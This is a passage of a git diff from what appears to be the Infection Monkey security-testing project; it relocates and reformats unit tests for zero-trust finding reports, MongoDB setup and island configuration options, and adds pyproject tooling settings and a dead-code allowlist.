+ TEST_SCOUTSUITE_SERVICE_SECURITY,
+)
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding
+from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding
+
+
+def get_scoutsuite_finding_dto() -> Finding:
+ scoutsuite_details = get_scoutsuite_details_dto()
+ scoutsuite_details.save()
+ return ScoutSuiteFinding(
+ test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details
+ )
+
+
+def get_monkey_finding_dto() -> Finding:
+ monkey_details = get_monkey_details_dto()
+ monkey_details.save()
+ return MonkeyFinding(
+ test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_PASSED, details=monkey_details
+ )
diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py
similarity index 72%
rename from monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py
index b0050a8c9..c7053ebda 100644
--- a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py
@@ -6,25 +6,26 @@ EVENTS = [
"timestamp": "2021-01-20T15:40:28.357Z",
"title": "Process list",
"message": "Monkey on pc-24 scanned the process list",
- "event_type": "monkey_local"
+ "event_type": "monkey_local",
},
{
"timestamp": "2021-01-20T16:08:29.519Z",
"title": "Process list",
"message": "",
- "event_type": "monkey_local"
+ "event_type": "monkey_local",
},
]
EVENTS_DTO = [
- Event(timestamp=event['timestamp'],
- title=event['title'],
- message=event['message'],
- event_type=event['event_type']) for event in EVENTS
+ Event(
+ timestamp=event["timestamp"],
+ title=event["title"],
+ message=event["message"],
+ event_type=event["event_type"],
+ )
+ for event in EVENTS
]
-DETAILS_DTO = []
-
def get_monkey_details_dto() -> MonkeyFindingDetails:
monkey_details = MonkeyFindingDetails()
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py
new file mode 100644
index 000000000..2302b68e9
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py
@@ -0,0 +1,89 @@
+from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails
+from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import (
+ PermissiveFirewallRules,
+ UnencryptedData,
+)
+
+SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData]
+
+RULES = [
+ ScoutSuiteRule(
+ checked_items=179,
+ compliance=None,
+ dashboard_name="Rules",
+ description="Security Group Opens All Ports to All",
+ flagged_items=2,
+ items=[
+ "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg"
+ "-035779fe5c293fc72"
+ ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR",
+ "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg"
+ "-019eb67135ec81e65"
+ ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR",
+ ],
+ level="danger",
+ path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs"
+ ".id.CIDR",
+ rationale="It was detected that all ports in the security group are open, "
+ "and any source IP address"
+ " could send traffic to these ports, which creates a wider attack surface "
+ "for resources "
+ "assigned to it. Open ports should be reduced to the minimum needed to "
+ "correctly",
+ references=[],
+ remediation=None,
+ service="EC2",
+ ),
+ ScoutSuiteRule(
+ checked_items=179,
+ compliance=[
+ {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.1"},
+ {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.2"},
+ {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.1"},
+ {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.2"},
+ {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.1"},
+ {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.2"},
+ ],
+ dashboard_name="Rules",
+ description="Security Group Opens RDP Port to All",
+ flagged_items=7,
+ items=[
+ "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg"
+ "-00bdef5951797199c"
+ ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR",
+ "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330"
+ ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR",
+ "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd"
+ ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR",
+ "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2"
+ ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR",
+ "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1"
+ ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR",
+ "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a"
+ ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR",
+ "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg"
+ "-01902f153d4f938da"
+ ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR",
+ ],
+ level="danger",
+ path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs"
+ ".id.CIDR",
+ rationale="The security group was found to be exposing a well-known port to all "
+ "source addresses."
+ " Well-known ports are commonly probed by automated scanning tools, "
+ "and could be an indicator "
+ "of sensitive services exposed to Internet. If such services need to be "
+ "expos",
+ references=[],
+ remediation="Remove the inbound rules that expose open ports",
+ service="EC2",
+ ),
+]
+
+
+def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails:
+ scoutsuite_details = ScoutSuiteFindingDetails()
+ scoutsuite_details.scoutsuite_rules.append(RULES[0])
+ scoutsuite_details.scoutsuite_rules.append(RULES[1])
+ return scoutsuite_details
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py
new file mode 100644
index 000000000..4c2c1527f
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py
@@ -0,0 +1,64 @@
+from unittest.mock import MagicMock
+
+import pytest
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import (
+ get_monkey_finding_dto,
+ get_scoutsuite_finding_dto,
+)
+
+from common.common_consts.zero_trust_consts import (
+ DEVICES,
+ NETWORKS,
+ STATUS_FAILED,
+ STATUS_PASSED,
+ TEST_ENDPOINT_SECURITY_EXISTS,
+ TEST_SCOUTSUITE_SERVICE_SECURITY,
+ TESTS_MAP,
+)
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import (
+ MonkeyZTDetailsService,
+)
+from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import (
+ EnrichedFinding,
+ FindingService,
+)
+
+
+@pytest.mark.usefixtures("uses_database")
+def test_get_all_findings():
+ get_scoutsuite_finding_dto().save()
+ get_monkey_finding_dto().save()
+
+ # This method fails due to mongomock not being able to simulate $unset, so don't test details
+ MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None)
+
+ findings = FindingService.get_all_findings_for_ui()
+
+ description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]["finding_explanation"][STATUS_FAILED]
+ expected_finding0 = EnrichedFinding(
+ finding_id=findings[0].finding_id,
+ pillars=[DEVICES, NETWORKS],
+ status=STATUS_FAILED,
+ test=description,
+ test_key=TEST_SCOUTSUITE_SERVICE_SECURITY,
+ details=None,
+ )
+
+ description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]["finding_explanation"][STATUS_PASSED]
+ expected_finding1 = EnrichedFinding(
+ finding_id=findings[1].finding_id,
+ pillars=[DEVICES],
+ status=STATUS_PASSED,
+ test=description,
+ test_key=TEST_ENDPOINT_SECURITY_EXISTS,
+ details=None,
+ )
+
+ # Don't test details
+ details = []
+ for finding in findings:
+ details.append(finding.details)
+ finding.details = None
+
+ assert findings[0] == expected_finding0
+ assert findings[1] == expected_finding1
diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py
similarity index 81%
rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py
index bf2bbe1a5..1be9f2fcb 100644
--- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py
@@ -1,17 +1,24 @@
from typing import List
import pytest
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.example_finding_data import ( # noqa: E501
+ save_example_findings,
+)
from common.common_consts import zero_trust_consts
-from common.common_consts.zero_trust_consts import DATA, PEOPLE, NETWORKS, WORKLOADS, VISIBILITY_ANALYTICS, \
- AUTOMATION_ORCHESTRATION, DEVICES
+from common.common_consts.zero_trust_consts import (
+ AUTOMATION_ORCHESTRATION,
+ DATA,
+ DEVICES,
+ NETWORKS,
+ PEOPLE,
+ VISIBILITY_ANALYTICS,
+ WORKLOADS,
+)
from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService
-from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import \
- save_example_findings
-from monkey_island.cc.test_common.fixtures import FixtureEnum
-@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+@pytest.mark.usefixtures("uses_database")
def test_get_pillars_grades():
save_example_findings()
expected_grades = _get_expected_pillar_grades()
@@ -27,7 +34,7 @@ def _get_expected_pillar_grades() -> List[dict]:
zero_trust_consts.STATUS_PASSED: 1,
# 2 different tests of DATA pillar were executed in _save_findings()
zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2,
- "pillar": "Data"
+ "pillar": "Data",
},
{
zero_trust_consts.STATUS_FAILED: 0,
@@ -35,7 +42,7 @@ def _get_expected_pillar_grades() -> List[dict]:
zero_trust_consts.STATUS_PASSED: 0,
# 1 test of PEOPLE pillar were executed in _save_findings()
zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1,
- "pillar": "People"
+ "pillar": "People",
},
{
zero_trust_consts.STATUS_FAILED: 0,
@@ -43,7 +50,7 @@ def _get_expected_pillar_grades() -> List[dict]:
zero_trust_consts.STATUS_PASSED: 0,
# 1 different tests of NETWORKS pillar were executed in _save_findings()
zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1,
- "pillar": "Networks"
+ "pillar": "Networks",
},
{
zero_trust_consts.STATUS_FAILED: 1,
@@ -51,7 +58,7 @@ def _get_expected_pillar_grades() -> List[dict]:
zero_trust_consts.STATUS_PASSED: 2,
# 1 different tests of DEVICES pillar were executed in _save_findings()
zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1,
- "pillar": "Devices"
+ "pillar": "Devices",
},
{
zero_trust_consts.STATUS_FAILED: 0,
@@ -59,7 +66,7 @@ def _get_expected_pillar_grades() -> List[dict]:
zero_trust_consts.STATUS_PASSED: 0,
# 0 different tests of WORKLOADS pillar were executed in _save_findings()
zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS),
- "pillar": "Workloads"
+ "pillar": "Workloads",
},
{
zero_trust_consts.STATUS_FAILED: 0,
@@ -67,25 +74,29 @@ def _get_expected_pillar_grades() -> List[dict]:
zero_trust_consts.STATUS_PASSED: 0,
# 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings()
zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS),
- "pillar": "Visibility & Analytics"
+ "pillar": "Visibility & Analytics",
},
{
zero_trust_consts.STATUS_FAILED: 0,
zero_trust_consts.STATUS_VERIFY: 0,
zero_trust_consts.STATUS_PASSED: 0,
# 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings()
- zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(AUTOMATION_ORCHESTRATION),
- "pillar": "Automation & Orchestration"
- }
+ zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(
+ AUTOMATION_ORCHESTRATION
+ ),
+ "pillar": "Automation & Orchestration",
+ },
]
def _get_cnt_of_tests_in_pillar(pillar: str):
- tests_in_pillar = [value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value['pillars']]
+ tests_in_pillar = [
+ value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value["pillars"]
+ ]
return len(tests_in_pillar)
-@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+@pytest.mark.usefixtures("uses_database")
def test_get_pillars_to_statuses():
# Test empty database
expected = {
@@ -95,7 +106,7 @@ def test_get_pillars_to_statuses():
zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED,
zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED,
zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED,
- zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED
+ zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED,
}
assert PillarService._get_pillars_to_statuses() == expected
@@ -108,6 +119,6 @@ def test_get_pillars_to_statuses():
zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY,
zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED,
zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED,
- zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED
+ zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED,
}
assert PillarService._get_pillars_to_statuses() == expected
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py
new file mode 100644
index 000000000..7bd2b01c7
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py
@@ -0,0 +1,88 @@
+import pytest
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import (
+ get_monkey_finding_dto,
+ get_scoutsuite_finding_dto,
+)
+
+from common.common_consts import zero_trust_consts
+from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import (
+ PrincipleService,
+)
+
+EXPECTED_DICT = {
+ "test_pillar1": [
+ {
+ "principle": "Test principle description2",
+ "status": zero_trust_consts.STATUS_FAILED,
+ "tests": [
+ {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"},
+ {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"},
+ ],
+ }
+ ],
+ "test_pillar2": [
+ {
+ "principle": "Test principle description",
+ "status": zero_trust_consts.STATUS_PASSED,
+ "tests": [{"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test1"}],
+ },
+ {
+ "principle": "Test principle description2",
+ "status": zero_trust_consts.STATUS_FAILED,
+ "tests": [
+ {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"},
+ {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"},
+ ],
+ },
+ ],
+}
+
+
+@pytest.mark.usefixtures("uses_database")
+def test_get_principles_status():
+ TEST_PILLAR1 = "test_pillar1"
+ TEST_PILLAR2 = "test_pillar2"
+ zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2)
+
+ principles_to_tests = {
+ "network_policies": ["segmentation"],
+ "endpoint_security": ["tunneling", "scoutsuite_service_security"],
+ }
+ zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests
+
+ principles_to_pillars = {
+ "network_policies": {"test_pillar2"},
+ "endpoint_security": {"test_pillar1", "test_pillar2"},
+ }
+ zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars
+
+ principles = {
+ "network_policies": "Test principle description",
+ "endpoint_security": "Test principle description2",
+ }
+ zero_trust_consts.PRINCIPLES = principles
+
+ tests_map = {
+ "segmentation": {"explanation": "You ran a test1"},
+ "tunneling": {"explanation": "You ran a test2"},
+ "scoutsuite_service_security": {"explanation": "You ran a test3"},
+ }
+ zero_trust_consts.TESTS_MAP = tests_map
+
+ monkey_finding = get_monkey_finding_dto()
+ monkey_finding.test = "segmentation"
+ monkey_finding.save()
+
+ monkey_finding = get_monkey_finding_dto()
+ monkey_finding.test = "tunneling"
+ monkey_finding.save()
+
+ scoutsuite_finding = get_scoutsuite_finding_dto()
+ scoutsuite_finding.test = "scoutsuite_service_security"
+ scoutsuite_finding.save()
+
+ expected = dict(EXPECTED_DICT) # new mutable
+
+ result = PrincipleService.get_principles_status()
+
+ assert result == expected
diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py
new file mode 100644
index 000000000..502e7dbfe
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py
@@ -0,0 +1,16 @@
+import pytest
+
+from monkey_island.cc.setup.mongo import mongo_setup
+
+
+def test_connect_to_mongodb_timeout(monkeypatch):
+ monkeypatch.setattr(mongo_setup, "is_db_server_up", lambda _: False)
+ with pytest.raises(mongo_setup.MongoDBTimeOutError):
+ mongo_setup.connect_to_mongodb(0.0000000001)
+
+
+def test_connect_to_mongodb_version_too_old(monkeypatch):
+ monkeypatch.setattr(mongo_setup, "is_db_server_up", lambda _: True)
+ monkeypatch.setattr(mongo_setup, "get_db_version", lambda _: ("1", "0", "0"))
+ with pytest.raises(mongo_setup.MongoDBVersionError):
+ mongo_setup.connect_to_mongodb(0)
diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py
new file mode 100644
index 000000000..c9964af7e
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py
@@ -0,0 +1,146 @@
+import os
+from pathlib import Path
+
+from monkey_island.cc.server_utils.consts import (
+ DEFAULT_CRT_PATH,
+ DEFAULT_DATA_DIR,
+ DEFAULT_KEY_PATH,
+ DEFAULT_LOG_LEVEL,
+ DEFAULT_START_MONGO_DB,
+)
+from monkey_island.cc.setup.island_config_options import IslandConfigOptions
+
+TEST_CONFIG_FILE_CONTENTS_SPECIFIED = {
+ "data_dir": "/tmp",
+ "log_level": "test",
+ "mongodb": {"start_mongodb": False},
+ "ssl_certificate": {
+ "ssl_certificate_file": "/tmp/test.crt",
+ "ssl_certificate_key_file": "/tmp/test.key",
+ },
+}
+
+TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED = {}
+
+TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"mongodb": {}}
+
+
+def test_data_dir_specified():
+ assert_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_SPECIFIED, "/tmp")
+
+
+def test_data_dir_uses_default():
+ assert_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_DATA_DIR)
+
+
+def test_data_dir_expanduser(patched_home_env):
+ DATA_DIR_NAME = "test_data_dir"
+
+ assert_data_dir_equals(
+ {"data_dir": os.path.join("~", DATA_DIR_NAME)},
+ patched_home_env / DATA_DIR_NAME,
+ )
+
+
+def test_data_dir_expandvars(patched_home_env):
+ DATA_DIR_NAME = "test_data_dir"
+
+ assert_data_dir_equals(
+ {"data_dir": os.path.join("$HOME", DATA_DIR_NAME)},
+ patched_home_env / DATA_DIR_NAME,
+ )
+
+
+def assert_data_dir_equals(config_file_contents, expected_data_dir):
+ assert_island_config_option_equals(config_file_contents, "data_dir", Path(expected_data_dir))
+
+
+def test_log_level():
+ options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED)
+ assert options.log_level == "test"
+ options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED)
+ assert options.log_level == DEFAULT_LOG_LEVEL
+
+
+def test_mongodb():
+ options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED)
+ assert not options.start_mongodb
+ options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED)
+ assert options.start_mongodb == DEFAULT_START_MONGO_DB
+ options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO)
+ assert options.start_mongodb == DEFAULT_START_MONGO_DB
+
+
+def test_crt_path_uses_default():
+ assert_ssl_certificate_file_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_CRT_PATH)
+
+
+def test_crt_path_specified():
+ assert_ssl_certificate_file_equals(
+ TEST_CONFIG_FILE_CONTENTS_SPECIFIED,
+ TEST_CONFIG_FILE_CONTENTS_SPECIFIED["ssl_certificate"]["ssl_certificate_file"],
+ )
+
+
+def test_crt_path_expanduser(patched_home_env):
+ FILE_NAME = "test.crt"
+
+ assert_ssl_certificate_file_equals(
+ {"ssl_certificate": {"ssl_certificate_file": os.path.join("~", FILE_NAME)}},
+ patched_home_env / FILE_NAME,
+ )
+
+
+def test_crt_path_expandvars(patched_home_env):
+ FILE_NAME = "test.crt"
+
+ assert_ssl_certificate_file_equals(
+ {"ssl_certificate": {"ssl_certificate_file": os.path.join("$HOME", FILE_NAME)}},
+ patched_home_env / FILE_NAME,
+ )
+
+
+def assert_ssl_certificate_file_equals(config_file_contents, expected_ssl_certificate_file):
+ assert_island_config_option_equals(
+ config_file_contents, "crt_path", Path(expected_ssl_certificate_file)
+ )
+
+
+def test_key_path_uses_default():
+ assert_ssl_certificate_key_file_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_KEY_PATH)
+
+
+def test_key_path_specified():
+ assert_ssl_certificate_key_file_equals(
+ TEST_CONFIG_FILE_CONTENTS_SPECIFIED,
+ TEST_CONFIG_FILE_CONTENTS_SPECIFIED["ssl_certificate"]["ssl_certificate_key_file"],
+ )
+
+
+def test_key_path_expanduser(patched_home_env):
+ FILE_NAME = "test.key"
+
+ assert_ssl_certificate_key_file_equals(
+ {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("~", FILE_NAME)}},
+ patched_home_env / FILE_NAME,
+ )
+
+
+def test_key_path_expandvars(patched_home_env):
+ FILE_NAME = "test.key"
+
+ assert_ssl_certificate_key_file_equals(
+ {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("$HOME", FILE_NAME)}},
+ patched_home_env / FILE_NAME,
+ )
+
+
+def assert_ssl_certificate_key_file_equals(config_file_contents, expected_ssl_certificate_file):
+ assert_island_config_option_equals(
+ config_file_contents, "key_path", Path(expected_ssl_certificate_file)
+ )
+
+
+def assert_island_config_option_equals(config_file_contents, option_name, expected_value):
+ options = IslandConfigOptions(config_file_contents)
+ assert getattr(options, option_name) == expected_value
diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py
new file mode 100644
index 000000000..9fb132305
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py
@@ -0,0 +1,84 @@
+import os
+from collections.abc import Callable
+
+import pytest
+
+from monkey_island.cc.setup.island_config_options import IslandConfigOptions
+from monkey_island.cc.setup.island_config_options_validator import raise_on_invalid_options
+
+
+def certificate_test_island_config_options(crt_file, key_file):
+ return IslandConfigOptions(
+ {
+ "ssl_certificate": {
+ "ssl_certificate_file": crt_file,
+ "ssl_certificate_key_file": key_file,
+ }
+ }
+ )
+
+
+@pytest.fixture
+def linux_island_config_options(create_empty_tmp_file: Callable):
+ crt_file = create_empty_tmp_file("test.crt")
+ key_file = create_empty_tmp_file("test.key")
+
+ return certificate_test_island_config_options(crt_file, key_file)
+
+
+@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.")
+def test_linux_valid_crt_and_key_paths(linux_island_config_options):
+ try:
+ raise_on_invalid_options(linux_island_config_options)
+ except Exception as ex:
+ print(ex)
+ assert False
+
+
+@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.")
+def test_linux_crt_path_does_not_exist(linux_island_config_options):
+ os.remove(linux_island_config_options.crt_path)
+
+ with pytest.raises(FileNotFoundError):
+ raise_on_invalid_options(linux_island_config_options)
+
+
+@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.")
+def test_linux_key_path_does_not_exist(linux_island_config_options):
+ os.remove(linux_island_config_options.key_path)
+
+ with pytest.raises(FileNotFoundError):
+ raise_on_invalid_options(linux_island_config_options)
+
+
+@pytest.fixture
+def windows_island_config_options(tmpdir: str, create_empty_tmp_file: Callable):
+ crt_file = create_empty_tmp_file("test.crt")
+ key_file = create_empty_tmp_file("test.key")
+
+ return certificate_test_island_config_options(crt_file, key_file)
+
+
+@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.")
+def test_windows_valid_crt_and_key_paths(windows_island_config_options):
+ try:
+ raise_on_invalid_options(windows_island_config_options)
+ except Exception as ex:
+ print(ex)
+ assert False
+
+
+@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.")
+def test_windows_crt_path_does_not_exist(windows_island_config_options):
+ os.remove(windows_island_config_options.crt_path)
+
+ with pytest.raises(FileNotFoundError):
+ raise_on_invalid_options(windows_island_config_options)
+
+
+@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.")
+def test_windows_key_path_does_not_exist(windows_island_config_options):
+ os.remove(windows_island_config_options.key_path)
+
+ with pytest.raises(FileNotFoundError):
+ raise_on_invalid_options(windows_island_config_options)
diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py
new file mode 100644
index 000000000..2ccecd616
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/conftest.py
@@ -0,0 +1,21 @@
+import os
+from collections.abc import Callable
+
+import pytest
+
+
+@pytest.fixture(scope="module")
+def server_configs_dir(data_for_tests_dir):
+ return os.path.join(data_for_tests_dir, "server_configs")
+
+
+@pytest.fixture
+def create_empty_tmp_file(tmpdir: str) -> Callable:
+ def inner(file_name: str):
+ new_file = os.path.join(tmpdir, file_name)
+ with open(new_file, "w"):
+ pass
+
+ return new_file
+
+ return inner
diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py
new file mode 100644
index 000000000..9b57a9cc7
--- /dev/null
+++ b/monkey/tests/utils.py
@@ -0,0 +1,13 @@
+import ctypes
+import os
+
+
+def is_user_admin():
+ if os.name == "posix":
+ return os.getuid() == 0
+
+ return ctypes.windll.shell32.IsUserAnAdmin()
+
+
+def raise_(ex):
+ raise ex
diff --git a/pyproject.toml b/pyproject.toml
new file mode 100644
index 000000000..05c8dfe81
--- /dev/null
+++ b/pyproject.toml
@@ -0,0 +1,28 @@
+[tool.black]
+line-length = 100
+target-version = ['py37']
+
+[tool.isort]
+skip = "monkey/monkey_island/cc/ui"
+known_first_party = "common,infection_monkey,monkey_island"
+line_length = 100
+### for compatibility with black
+multi_line_output = 3
+include_trailing_comma = true
+force_grid_wrap = 0
+use_parentheses = true
+ensure_newline_before_comments = true
+
+[tool.pytest.ini_options]
+minversion = "6.0"
+log_cli = 1
+log_cli_level = "DEBUG"
+log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s"
+log_cli_date_format = "%H:%M:%S"
+addopts = "-v --capture=sys tests/unit_tests"
+norecursedirs = "node_modules dist"
+markers = ["slow: mark test as slow"]
+
+[tool.vulture]
+exclude = ["monkey/monkey_island/cc/ui/", "monkey/tests/"]
+paths = ["."]
diff --git a/vulture_allowlist.py b/vulture_allowlist.py
new file mode 100644
index 000000000..b39d61dd8
--- /dev/null
+++ b/vulture_allowlist.py
@@ -0,0 +1,198 @@
+"""
+Everything in this file is what Vulture found as dead code but either isn't really
+dead or is kept deliberately. Referencing these in a file like this makes sure that
+Vulture doesn't mark these as dead again.
+"""
+
+
+fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
+set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
+fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57)
+set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57)
